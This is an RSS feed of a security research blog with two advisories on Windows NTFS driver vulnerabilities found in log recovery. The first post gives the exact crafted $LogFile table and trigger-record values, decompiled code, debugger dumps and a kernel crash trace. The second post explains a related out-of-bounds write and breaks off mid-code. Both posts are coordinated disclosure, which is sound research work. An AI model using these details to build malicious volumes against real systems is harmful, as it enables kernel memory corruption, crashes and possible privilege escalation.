<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>escvr &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/escvr/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Tue, 27 Oct 2026 08:55:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>escvr &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Heap-based buffer overflow in ntfs!AnalysisPass</title>
		<link>https://ptesc.tech/en/heap-based-buffer-overflow-in-ntfsanalysispass/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Tue, 27 Oct 2026 08:52:00 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">https://ptesc.tech/?p=1120</guid>

					<description><![CDATA[BDUPTCVE2026-068122026-584682026-50494 Summary A heap buffer overflow exists in the ntfs!AnalysisPass functionality of Microsoft Windows NTFS driver. During recovery of a specially crafted NTFS $LogFile, an OpenNonresidentAttribute log reco…]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>BDU</th><th>PT</th><th>CVE</th></tr></thead><tbody><tr><td><a href="https://bdu.fstec.ru/vul/2026-06812">2026-06812</a></td><td><a href="https://dbugs.ptsecurity.com/vulnerability/PT-2026-58468">2026-58468</a></td><td><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494">2026-50494</a></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Summary</h3>



<p class="wp-block-paragraph">A heap buffer overflow exists in the <code>ntfs!AnalysisPass</code> functionality of Microsoft Windows <code>NTFS</code> driver. During recovery of a specially crafted <code>NTFS</code> <code>$LogFile</code>, an <code>OpenNonresidentAttribute</code> log record can cause <code>ntfs.sys</code> to copy more redo data than fits in an entry of the on-disk Open Attribute Table (<code>OAT</code>). Mounting the crafted volume can trigger an out-of-bounds write in kernel <code>NonPagedPoolNx</code> memory.</p>



<h3 class="wp-block-heading">Product URLs</h3>



<p class="wp-block-paragraph">Microsoft Windows:  <a href="https://www.microsoft.com/windows">https://www.microsoft.com/windows</a></p>



<h3 class="wp-block-heading">CWE</h3>



<p class="wp-block-paragraph">CWE-122: Heap-based Buffer Overflow.</p>



<h3 class="wp-block-heading">Details</h3>



<p class="wp-block-paragraph"><code>NTFS</code> records metadata changes in the volume&#8217;s <code>$LogFile</code> to recover interrupted operations when the volume is mounted. During recovery, <code>ntfs!NtfsRestartVolume</code> initializes restart state and runs <code>ntfs!AnalysisPass</code> over the log records. The <strong>Open Attribute Table</strong> (<code>OAT</code>) is a restart table that tracks nonresident file attributes opened for modification. A nonresident attribute stores its value outside the file&#8217;s master file table record (<code>MFT</code>). <code>OAT</code> entries associate later log records with the relevant attribute; the table is restored from <code>$LogFile</code> into kernel memory, and its header specifies the size of each entry.</p>



<p class="wp-block-paragraph"><code>OpenNonresidentAttribute</code> is an <code>NTFS</code> log operation with code <code>0x1C</code>. Its redo data supplies an open attribute entry, potentially with accompanying attribute-name data. During analysis, <code>NTFS</code> installs that entry at the position indicated by the record&#8217;s <code>TargetAttribute</code>, allowing later recovery records to refer to the attribute.</p>



<p class="wp-block-paragraph">In the analyzed build, <code>ntfs!InitializeRestartState</code> loads the <code>OAT</code> restart table from the log. <code>ntfs!NtfsCheckRestartTable</code> checks its structure, but the code has no check for minimum <code>OAT</code> <code>EntrySize</code> beyond a nonzero value. For an <code>OpenNonresidentAttribute</code> record, <code>AnalysisPass</code> obtains a slot through <code>ntfs!NtfsAllocateRestartTableFromIndex</code> and copies <code>LogRecord-&gt;RedoLength</code> bytes from <code>LogRecord + RedoOffset</code> into it:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!AnalysisPass
...
v68 = NtfsAllocateRestartTableFromIndex(
                  v67,
                  a2-&gt;AttributeNamesTable_Or_OnDiskOAT,
                  (unsigned __int16)CurrentLogRecord-&gt;TargetAttribute);
ExReleaseResourceLite(&amp;a2-&gt;AttributeNamesTable_Or_OnDiskOAT-&gt;Resource);
memmove(v68,
        (char *)CurrentLogRecord + (unsigned __int16)CurrentLogRecord-&gt;RedoOffset,
        (unsigned __int16)CurrentLogRecord-&gt;RedoLength
);
...

</pre></div>


<p class="wp-block-paragraph">The same code but in disassembly form:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!AnalysisPass

1401a603b  movzx r8d, word ptr &#x5B;r15+0Ch]  ; TargetAttribute
1401a6040  mov   rdx, &#x5B;r13+1338h]         ; Vcb-&gt;OnDiskOat
1401a604a  call  NtfsAllocateRestartTableFromIndex
1401a604f  mov   rdi, rax                  ; destination entry
...
1401a6065  movzx r8d, word ptr &#x5B;r15+6]    ; RedoLength
1401a606a  movzx edx, word ptr &#x5B;r15+4]    ; RedoOffset
1401a606f  add   rdx, r15                  ; source in log record
1401a6072  mov   rcx, rdi                  ; destination entry
1401a6075  call  memmove

</pre></div>


<p class="wp-block-paragraph">The destination slot is sized according to <code>OnDiskOat.Table-&gt;EntrySize</code>, while the copy length comes from the log record. There is no comparison between these lengths before the copy. <code>NtfsCheckLogRecord</code> constrains the redo region to the record but does not constrain <code>RedoLength</code> to the  <code>OAT </code>entry size. A record can therefore pass its source bounds checks and still overflow the destination entry.</p>



<h3 class="wp-block-heading">Proof of Concept</h3>



<p class="wp-block-paragraph">When the PoC-crafted volume is mounted, <code>NTFS</code> processes the image as follows:</p>



<ol class="wp-block-list">
<li><code>ntfs!InitializeRestartState</code> reads the crafted <strong>Open Attribute Table</strong> from <code>$LogFile</code>.    </li>



<li>The table is accepted with <code>EntrySize = 4</code>.</li>



<li><code>ntfs!AnalysisPass</code> starts at the crafted checkpoint.</li>



<li>The next record is dispatched as an <code>OpenNonresidentAttribute</code> operation.</li>



<li><code>NTFS</code> requests an <strong>Open Attribute Table</strong> entry through <code>ntfs!NtfsAllocateRestartTableFromIndex</code>.</li>



<li>The allocator returns the 4-byte free entry at table offset <code>0x18</code>.</li>



<li><code>NTFS</code> copies <code>RedoLength</code>, rather than the destination entry size, into the allocated entry.</li>



<li>A <code>memmove</code> copies <code>0xe00</code> attacker-controlled bytes into the 4-byte slot.</li>
</ol>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">The restart area points <code>OpenAttributeTableLsn</code> to a serialized <code>RESTART_TABLE</code> containing 44 entries. Its header is configured as follows:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize       = 4
NumberEntries   = 44
NumberAllocated = 43
FirstFree       = 0x18
LastFree        = 0x18

0: kd&gt; db rdx
ffff808b`689f6258  04 00 2c 00 2b 00 00 00-00 00 00 00 00 00 00 00  ..,.+...........
ffff808b`689f6268  18 00 00 00 18 00 00 00-00 00 00 00 ff ff ff ff  ................
ffff808b`689f6278  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6288  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f6298  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62a8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62b8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................
ffff808b`689f62c8  ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff  ................

</pre></div>


<p class="wp-block-paragraph">The first entry, located at offset <code>0x18</code>, is left free and contains a zero next-entry value, which terminates the free list. All other entries contain the allocated marker <code>0xffffffff</code>.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
RESTART_TABLE
    +0x00  Table header
    +0x18  Entry 0: 0x00000000
    +0x1c  Entry 1: 0xffffffff
    ...
    +0xc4  Entry 43: 0xffffffff

</pre></div>


<p class="wp-block-paragraph">During restart initialization, <code>NTFS</code> accepts this table and sets the on-disk <strong>Open Attribute Table</strong> entry size to 4 bytes. This entry size is subsequently used by the allocation performed while processing the <code>OpenNonresidentAttribute</code> record.</p>



<p class="wp-block-paragraph">The checkpoint record has a client data length of <code>0x28</code>. The PoC calculates the next  <strong>LSN</strong> and places the triggering record immediately after it on the same log page.</p>



<p class="wp-block-paragraph">The trigger contains the following fields:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
RedoOperation    = 0x1c  (OpenNonresidentAttribute)
UndoOperation    = 0x01
RedoOffset       = 0x28
RedoLength       = 0xe00
UndoOffset       = 0x28
UndoLength       = 0
TargetAttribute  = 0x18
LcnsToFollow     = 0
TargetVcn        = 0
ClientDataLength = 0xe28

1: kd&gt; db r15
ffff808b`6cf8a188  1c 00 01 00 28 00 00 0e-28 00 00 00 18 00 00 00  ....(...(.......
ffff808b`6cf8a198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffff808b`6cf8a1a8  ff ff ff ff ff ff ff ff-41 41 41 41 41 41 41 41  ........AAAAAAAA
ffff808b`6cf8a1b8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1c8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1d8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1e8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffff808b`6cf8a1f8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

</pre></div>


<p class="wp-block-paragraph">The <code>0xe00</code>-bytes redo buffer is filled with attacker-controlled <code>0x41</code> bytes. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; !pool rcx
Pool page ffffdf0258350c38 region is Special pool
*ffffdf0258350000 size:  3d8 data: ffffdf0258350c20 (NonPaged) *NtFR
        Pooltag NtFR : RestrSup.c, Binary : ntfs.sys

1: kd&gt; p
rax=ffffb28a92b14d20 rbx=ffffdf0253eee8f8 rcx=ffffdf0258350c38 // destination pool
rdx=ffff808b6cf8a1b0 rsi=ffffcc0692ce8fd0 rdi=ffffdf0258350c38
rip=fffff8020ede1535 rsp=ffffb28a92b14e10 rbp=ffffb28a92b158f0
 r8=0000000000000e00  r9=ffffdf0258350c20 r10=0000000000000000 // r8 is a length of data to copy
r11=ffffb28a92b14e08 r12=ffffb28a92b14f90 r13=ffffdf0255b591b0
r14=0000000000000000 r15=ffff808b6cf8a188
iopl=0         nv up ei ng nz ac po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040292
Ntfs!AnalysisPass+0x7f1:
fffff802`0ede1535 e80636e8ff      call    Ntfs!memcpy (fffff802`0ec64b40)

</pre></div>


<p class="wp-block-paragraph">Execution of <code>memcpy</code> from snippet above leads to a crash.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; !analyze -v -force
Connected to Windows 10 26100 x64 target at (Tue Sep 29 05:46:08.598 2026 (UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
................................................
Loading User Symbols

Loading unloaded module list
.............

************* Symbol Loading Error Summary **************
Module name            Error
SharedUserData         No error - symbol load deferred

You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffdf0258351000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8020ec64c53, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffffdf0258350000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4250

    Key  : Analysis.Elapsed.mSec
    Value: 9698

    Key  : Analysis.IO.Other.Mb
    Value: 22

    Key  : Analysis.IO.Read.Mb
    Value: 35

    Key  : Analysis.IO.Write.Mb
    Value: 332

    Key  : Analysis.Init.CPU.mSec
    Value: 156906

    Key  : Analysis.Init.Elapsed.mSec
    Value: 102952890

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 323

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!memcpy

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff8020ec64c53

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x54c53

    Key  : Failure.Hash
    Value: {42897693-3f38-2825-9348-02f570d06af5}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffffdf0258351000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff8020ec64c53

BUGCHECK_P4: 2

FAULTING_THREAD:  ffffdf024a721080

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffffdf0258351000

WRITE_ADDRESS:  ffffdf0258351000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!memcpy+113
fffff802`0ec64c53 0f2941f0        movaps  xmmword ptr &#x5B;rcx-10h],xmm0

STACK_TEXT:  
ffffb28a`92b141d8 fffff802`7bd5ce42     : ffffb28a`92b14258 00000000`00000001 00000000`00000080 fffff802`7be67901 : nt!DbgBreakPointWithStatus
ffffb28a`92b141e0 fffff802`7bd5c36c     : 00000000`00000003 ffffb28a`92b14340 fffff802`7be67b00 ffffb28a`92b14900 : nt!KiBugCheckDebugBreak+0x12
ffffb28a`92b14240 fffff802`7bca6537     : 00000000`00000000 fffff802`7bb81cb6 ffffdf02`58351000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffb28a`92b149d0 fffff802`7bb8194c     : 00000000`00000050 ffffdf02`58351000 00000000`00000002 ffffb28a`92b14c70 : nt!KeBugCheckEx+0x107
ffffb28a`92b14a10 fffff802`7b9f0510     : 00000000`00000000 ffff8000`00000000 ffffdf02`58351000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffb28a`92b14b00 fffff802`7be5cfcb     : 00000000`00000000 fffff802`7be59885 ffffdf02`58350c38 ffffb28a`92b14ce0 : nt!MmAccessFault+0x630
ffffb28a`92b14c70 fffff802`0ec64c53     : fffff802`0ede153a ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 : nt!KiPageFault+0x38b
ffffb28a`92b14e08 fffff802`0ede153a     : ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 ffffdf02`55b591b0 : Ntfs!memcpy+0x113
ffffb28a`92b14e10 fffff802`0ee45000     : ffffdf02`53eee8f8 ffffdf02`00000000 00000000`00000000 ffffb28a`92b14f90 : Ntfs!AnalysisPass+0x7f6
ffffb28a`92b14f30 fffff802`0edcc3be     : ffffdf02`53eeeab8 00000000`00000001 ffffdf02`53eee8f8 ffffdf02`53eeeab8 : Ntfs!NtfsRestartVolume+0xbc
ffffb28a`92b150a0 fffff802`0edc9f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffffdf02`4a7210f8 : Ntfs!NtfsMountVolume+0x1816
ffffb28a`92b157e0 fffff802`0ec3e639     : ffffdf02`53eee8f8 ffffb28a`92b158f0 00000000`00000008 ffffdf02`4a721080 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffb28a`92b158c0 fffff802`7ba8b7ec     : ffffdf02`4a721080 ffffdf02`4a721080 ffffdf02`4a6e5530 fffff802`0ec3e020 : Ntfs!NtfsFspDispatch+0x619
ffffb28a`92b15a10 fffff802`7bc31afa     : ffffdf02`4a721080 ffffdf02`4a721080 fffff802`7ba8b200 ffffdf02`4a6e5530 : nt!ExpWorkerThread+0x5ec
ffffb28a`92b15bf0 fffff802`7be4ef84     : fffff802`0c661180 ffffdf02`4a721080 fffff802`7bc31aa0 00630069`00760072 : nt!PspSystemThreadStartup+0x5a
ffffb28a`92b15c40 00000000`00000000     : ffffb28a`92b16000 ffffb28a`92b10000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!memcpy+113

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffffdf024a6b4040; .thread /r /p 0xffffdf024a721080 ; kb

BUCKET_ID_FUNC_OFFSET:  113

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!memcpy

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {42897693-3f38-2825-9348-02f570d06af5}

Followup:     MachineOwner
---------

</pre></div>


<p class="wp-block-paragraph">The following exploitation is trivial.</p>



<h3 class="wp-block-heading">Disclosure Timeline</h3>



<ul class="wp-block-list">
<li>May 12, 2026:  The vendor was notified of the vulnerability and provided with a technical report. </li>



<li>July  07, 2026:  The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.</li>



<li>July  14, 2026:  Security updates were released and the advisory was published.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Out-of-bounds write in ntfs!PageUpdateAnalysis</title>
		<link>https://ptesc.tech/en/out-of-bounds-write-in-ntfspageupdateanalysis/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 07 Oct 2026 11:19:42 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">https://ptesc.tech/?p=1111&#038;preview=true&#038;preview_id=1111</guid>

					<description><![CDATA[BDUPTCVE2025-124652026-26902026-20840 Summary A heap buffer overflow vulnerability exists in the ntfs!PageUpdateAnalysis function of the Microsoft Windows NTFS driver. A specially crafted NTFS volume can cause an out-of-bounds write into ke…]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>BDU</th><th>PT</th><th>CVE</th></tr></thead><tbody><tr><td><a href="https://bdu.fstec.ru/vul/2025-12465">2025-12465</a></td><td><a href="https://dbugs.ptsecurity.com/vulnerability/PT-2026-2690?fts%5Bvalue%5D=CVE-2026-20840">2026-2690</a></td><td><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20840">2026-20840</a></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Summary</h3>



<p class="wp-block-paragraph">A heap buffer overflow vulnerability exists in the <code>ntfs!PageUpdateAnalysis</code> function of the Microsoft Windows NTFS driver. A specially crafted <code>NTFS</code> volume can cause an out-of-bounds write into kernel <code>NonPagedPoolNx</code> memory during log recovery. An attacker can trigger this vulnerability by causing an affected Windows system to mount a volume containing malicious <code>$LogFile</code> records. The resulting kernel memory corruption may lead to denial of service, privilege escalation, or arbitrary kernel code execution.</p>



<h3 class="wp-block-heading">Confirmed Vulnerable Versions</h3>



<p class="wp-block-paragraph"><code>ntfs.sys.10.0.22621.5037</code></p>



<h3 class="wp-block-heading">Product URLs</h3>



<p class="wp-block-paragraph">Microsoft Windows — <a href="https://www.microsoft.com/windows">https://www.microsoft.com/windows</a></p>



<h3 class="wp-block-heading">CWE</h3>



<p class="wp-block-paragraph">CWE-787 — Out-of-bounds Write</p>



<h3 class="wp-block-heading">Details</h3>



<p class="wp-block-paragraph"><code>NTFS</code> is the primary file system used by Microsoft Windows. Its metadata journal, <code>$LogFile</code>, contains records used to restore file system consistency after interrupted operations.</p>



<p class="wp-block-paragraph"><code>ntfs!AnalysisPass</code> implements the analysis phase of <code>NTFS</code> restart recovery, preceding the redo and undo phases. It scans log records from the most recent checkpoint and reconstructs recovery state, including transaction and dirty page tables. These tables track outstanding transactions and metadata pages whose updates may not have reached disk, allowing subsequent recovery phases to determine which operations require replay or rollback.</p>



<p class="wp-block-paragraph"><code>ntfs!PageUpdateAnalysis</code> processes page-update records during this analysis phase. The mount stack context is:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; gutter: false; title: ; notranslate">
0: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

</pre></div>


<p class="wp-block-paragraph"><code>NTFS</code> stores dirty page entries in a flat <code>RESTART_TABLE</code> allocation in <code>NonPagedPoolNx</code>. Each entry contains an array of logical cluster numbers (LCNs), with capacity determined by the entry size:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage&#x5B;]     Array of 8-byte LCN values

</pre></div>


<p class="wp-block-paragraph">Table allocation is performed during <code>ntfs!InitializeRestartState</code> when <code>DirtyPageTable</code> is loaded from the image. </p>



<p class="wp-block-paragraph">In <code>ntfs!PageUpdateAnalysis</code>, after <code>ntfs!FindDirtyPage</code> returns an existing entry, <code>ntfs!PageUpdateAnalysis</code> copies <strong>LCN</strong> values from the incoming log record into that entry.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord-&gt;TargetAttribute, CurrentLogRecord-&gt;TargetVcn, &amp;v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
    if ( v8 &gt;= (unsigned int)result ) // v8 is i
      break;
    v20-&gt;LcnsForPage&#x5B;LODWORD(CurrentLogRecord-&gt;TargetVcn) + v8 - LODWORD(v20-&gt;Vcn)] = CurrentLogRecord-&gt;LcnsForPage&#x5B;v8];
    ++v8;
}
return result;

</pre></div>


<p class="wp-block-paragraph">The analyzed binary contains the following code corresponding to the decompiled listing that you can see above:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, &#x5B;rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, &#x5B;rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, &#x5B;r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, &#x5B;r13+r8*8+20h]  ; LogRecord-&gt;LcnsForPage&#x5B;i]
1c0258466  mov  &#x5B;rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

</pre></div>


<p class="wp-block-paragraph">The effective destination index is calculated using 32-bit arithmetic:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn

</pre></div>


<p class="wp-block-paragraph"><code>ntfs!FindDirtyPage</code> matches an entry when <code>StartingVcn &lt;= TargetVcn &lt; StartingVcn + LcnsToFollow</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1-&gt;Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i-&gt;TargetAttribute == TargetAttribute )
    {
      v9 = i-&gt;Vcn; // v9 is a starting VCN
      if ( Vcn &gt;= v9 &amp;&amp; Vcn &lt; v9 + (unsigned int)i-&gt;LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

